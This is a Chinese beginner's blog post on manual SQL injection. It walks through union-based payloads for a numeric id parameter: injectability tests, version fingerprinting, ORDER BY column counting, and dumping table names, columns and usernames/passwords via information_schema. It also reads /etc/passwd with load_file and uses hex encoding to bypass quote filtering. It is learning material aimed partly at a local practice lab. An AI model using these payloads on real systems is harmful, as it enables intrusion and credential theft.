初學sql注入

2021-08-29 01:46:30 字數 2231 閱讀 5824

2018/10/14

斷斷續續的學習web安全已經半個月了,寫這個部落格的目的就是為了見證自己的成長吧,因為初學,可能有錯誤或不足,望包涵。

單引號必須成對出現,否則資料庫就會報錯。

如果兩個單引號之間內容為空,資料庫自動忽略。

union查詢列數必須相同,資料型別必須相容。

『#』』 - - 空格或者- -+』

』 / * … */』

1.load_file():從計算機中載入檔案,讀取檔案中的資料。

例:elect * from users union select 1,load_file(』/etc/passwd』),3;

select * from users union select 1,load_file(0x2f6574632f706173737764),3; #使用16進製制繞過單引號限制

2.concat():返回結果為連線引數產生的字串。如果其中乙個引數為null,則返回值為null。

例:select concat(username,password)from users;

3.length():返回字串的長度。

例:select length(「123456」) #返回6

在這裡我用url/?id=1來為例。

1.先判斷網頁是否可以被注入。可以看出這是乙個動態url,也就是說可以在位址列中傳參,這是sql注入的基本條件。

url/?id=1『 ①

url/?id=1 and 1=1 ②

url/?id=1 and 1=2 ③

如果②頁面正常且①③頁面報錯,那麼可以判斷為該網頁存在url注入且注入型別為數字型注入,id是乙個注入點。

2.爆資料庫並判斷資料庫型別以及版本。

構造語句如下:url/?id=1 and ord(mid(version(),1,1))>51

發現返回正常頁面,說明資料庫是mysql,並且版本大於4.0,支援union查詢,反之是4.0以下的版本或者其他型別資料庫。

3.爆欄位。

url/?id=1 order by 1

url/?id=1 order by 2

…以此類推 直到頁面報錯,如果order by 5時候報錯,則說明欄位數為4.

4.爆表。

url/?id=1 and 1=2 union select 1,2,3,4

或者 url/?id=-1 union select 1,2,3,4

頁面返回數字,假如為2,3,則說明資料儲存在2,3位,我們可以把2,3的位置替換為我們想要查詢的關鍵字,例如:資料庫名,使用者名稱,密碼等等。

具體操作:url/?id=1 and 1=2 union select 1,2,database(),4 按下enter 此時頁面會返回乙個資料庫的名稱,同理還可以返回其他的你想要得到的內容。

如果要查某一表中的內容則操作如下:

url/?id=1 and 1=2 union select 1,2,username from 表名

補充一點額外知識:提供乙個sql注入實驗室

mysql中有個資料庫叫做information_schema,這個裡有張表叫做tables,其中的table_name列儲存了所有資料庫中的所有表名,而table_schema則儲存著該錶所在的資料庫名,group_concat()則可以把多項資料聯合成乙個字串http://localhost/btslab/vulnerability/forumposts.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

得到bts資料庫中的表。

2.mysql中有個資料庫叫做information_schema,這個裡有張表叫做columns,其中的column_name列儲存了所有資料庫中的所有表的列名,而table_name列則儲存著該列所在的表名,table_schema列儲存著所在的資料庫名。

得到使用者名稱 和密碼。

SQL注入初學

結構化查詢語言 structured query language 簡稱sql,是一種特殊目的的程式語言,是一種資料庫查詢和程式語言,用於訪問資料以及查詢 更新和管理關係資料庫系統 同時也是資料庫指令碼檔案的副檔名。mysql是一種關聯式資料庫管理系統,關聯式資料庫將資料庫儲存在不同表中,可以提高速...

初學手工SQL注入常用方法與函式

sql注入 union query sql injection 可聯合查詢注入 error based sql injection 報錯型注入 boolean based blind sql injection 布林型注入 time based blind sql injection 基於時間延遲注...

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...